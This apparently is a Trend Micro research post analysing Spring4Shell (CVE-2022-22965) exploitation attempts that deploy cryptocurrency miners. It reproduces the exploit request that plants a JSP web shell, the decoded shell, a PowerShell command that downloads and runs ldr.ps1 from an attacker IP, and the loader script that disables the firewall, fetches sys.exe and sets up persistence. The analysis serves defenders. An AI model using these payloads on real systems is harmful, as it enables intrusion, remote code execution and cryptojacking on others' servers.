Analyzing Attempts to Exploit the Spring4Shell Vulnerability CVE-2022-22965 to Deploy Cryptocurrency Miners

April 20, 2022 TH Author Trend Micro Research : Articles, News, Reports, Trend Micro Research : Endpoints, Trend Micro Research : Exploits&Vulnerabilities, Trend Micro Research : Research

Among the exploitation attempts were ones aimed at deploying cryptocurrency miners. In this section, we look at how the malicious actors behind these exploitation attempts create a web shell to deploy their cryptocurrency miners.

The following code is used to create the web shell:

GET /?class.module.classLoader.resources.context.parent.pipeline.first.prefix=zbc0fb&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps%2FROOT&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bx%7Di+try+%7BRuntime.getRuntime%28%29.exec%28System.getProperty%28%22os.name%22%29.contains%28%22ndo%22%29+%3F+new+String%5B%5D%7B%22cmd.exe%22%2C+%22%2Fc%22%2C+request.getParameter%28%22w%22%29%7D+%3A+new+String%5B%5D%7B%22%2Fbin%2Fsh%22%2C+%22-c%22%2C+request.getParameter%28%22l%22%29%7D%29%3B%7D+catch+%28Exception+e%29+%7B%7D%3Bout.print%28%22%40pong%22%29%3B+%25%7Bz%7Di HTTP/1.1

Host: <redacted>:<redacted>

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0

Accept: /

Accept-Language: en-US,en;q=0.5

X: <%

Y: Runtime

Z: %>//

Accept-Encoding: gzip

The web shell’s content is URL-encoded using the following code:

%25%7Bx%7Di+try+%7BRuntime.getRuntime%28%29.exec%28System.getProperty%28%22os.name%22%29.contains%28%22ndo%22%29+%3F

+new+String%5B%5D%7B%22cmd.exe%22%2C+%22%2Fc%22%2C+request.getParameter%28%22w%22%29%7D+%3A+new+String%5B%5D%7B%22%2Fbin%2Fsh%22%2C+%22-

c%22%2C+request.getParameter%28%22l%22%29%7D%29%3B%7D+catch+%28Exception+e%29+%7B%7D%3Bout.print%28%22%40pong%22%29%3B+%25%7Bz%7Di

After decoding, the resulting payload is a Spring4Shell web shell:

%{x}i try {Runtime.getRuntime().exec(System.getProperty(“os.name”).contains(“ndo”) ? new String[]{“cmd.exe”, “/c”, request.getParameter(“w”)} : new String[]{“/bin/sh”, “-c”,

request.getParameter(“l”)});} catch (Exception e) {};out.print(“@pong”); %{z}I

Before executing the payload, the malicious actors first have to determine the operating system of the machine they are infecting. They do this using a string check to see if “os.name” contains the word “ndo”. If it does, then the machine is identified as Windows-based, otherwise the machine is identified as Linux-based.

Once the operating system is identified, the encoded payload is executed. The exploit uniform resource identifier (URI) containing the web shell path and parameters is shown in the following code:

/zbc0fb.jsp?w=powershell.exe+-NonI+-W+Hidden+-NoP+-Exec+Bypass+-Enc+<base64 encoded content> &l=echo+<base64 encoded content>

The web shell is identified as zbc0fb.jsp, while the parameters w and l stand for, respectively, Windows and Linux payloads, which are Base64-encoded.

PowerShell is then executed using the following parameters:

NonI: Run noninteractive session.
W: Hide WindowStyle.
NoP: Prevent the PowerShell profile from loading.
Exec: Make bypassing the script execution policy in PowerShell possible.
Enc: Implement the Base64-encoded command.

For Windows payloads, the following PowerShell command fetches the script ldr.ps1 and executes it within memory without having to create it on-disk:

I.E.X. .(.N.e.w.-.O.b.j.e.c.t. .N.e.t…W.e.b.C.l.i.e.n.t.)…D.o.w.n.l.o.a.d.S.t.r.i.n.g.(.’.h.t.t.p.:././.1.9….1.4.5…2.2.7…2.1./.l.d.r…p.s.1.?.b.0.f.8.9.5._.<IP address of potentially vulnerable server .:.<port>._.h.t.t.p.’.).

The IP address and the port of the vulnerable server are also logged on the malicious actors’ infrastructure.

The following code shows ldr.ps1 and its execution flow — specifically, the redacted PowerShell script that downloads the cryptocurrency miner and executes it. (A similar PowerShell script was previously reported by The DFIR Report.)

$cc=”http://<redacted>”

$sys=-join ([char[]](48..57+97..122) | Get-Random -Count (Get-Random (6..12)))

$dst=”$env:AppData\$sys.exe”

netsh advfirewall set allprofiles state off

Get-Process network0, kthreaddi], kthreaddi, sysrv, sysrv012, sysrv011, sysrv010, sysrv00* -ErrorAction SilentlyContinue | Stop-Process

$list = netstat -ano | findstr TCP

for ($i = 0; $i -lt $list.Length; $i++) {

$k = [Text.RegularExpressions.Regex]::Split($list[$i].Trim(), ‘\s+’)

if ($k[2] -match “(:3333|:4444|:5555|:7777|:9000)$”) {

Stop-Process -id $k[4]

}

if (!(Get-Process kthreaddk -ErrorAction SilentlyContinue)) {

(New-Object Net.WebClient).DownloadFile(“$cc/sys.exe”, “$dst”)

Start-Process “$dst” -windowstyle hidden

schtasks /create /F /sc minute /mo 1 /tn “BrowserUpdate” /tr “$dst”

reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Run /d “$dst” /t REG_SZ /f

}

The execution flow of the cryptocurrency miner involves the following steps:

1. The firewall is turned off using the netsh utility.

2. Other known cryptocurrency miners such as kthreaddi, sysrv, and sysrv012 are stopped or killed.

3. Other running processes listening on ports 3333, 4444, 5555, 7777, and 9000 are stopped.

4. If the process kthreaddk does not exist, the cryptocurrency miner downloads a binary, sys.exe, from 194[.]145[.]227[.]21 to C:\Users\<user>\AppData\Roaming\<random-6-to-12-letter-string>.exe.

5. The cryptocurrency miner then starts the process with a hidden window to avoid having the user observe visual hints of the process being executed.

6. A scheduled task with the name “BrowserUpdate” is created later, running every minute. In addition, the Windows run key is modified to run the binary sys.exe.

We are unable confirm if the exploitation attempts we analyzed for this blog entry were successful. It should be noted that we also observed Linux payloads where the script ldr.sh attempts to stop other running cryptocurrency miners to run its own payload.

We highly encourage users of the Spring framework to update their software to 5.3.18 and 5.2.20 or later to prevent the exploitation of Spring4Shell (CVE-2022-22965) from occurring on their systems. More details on how Trend Micro technologies such as Trend Micro Cloud One™ protect users from attacks using this vulnerability can be found in our security bulletin.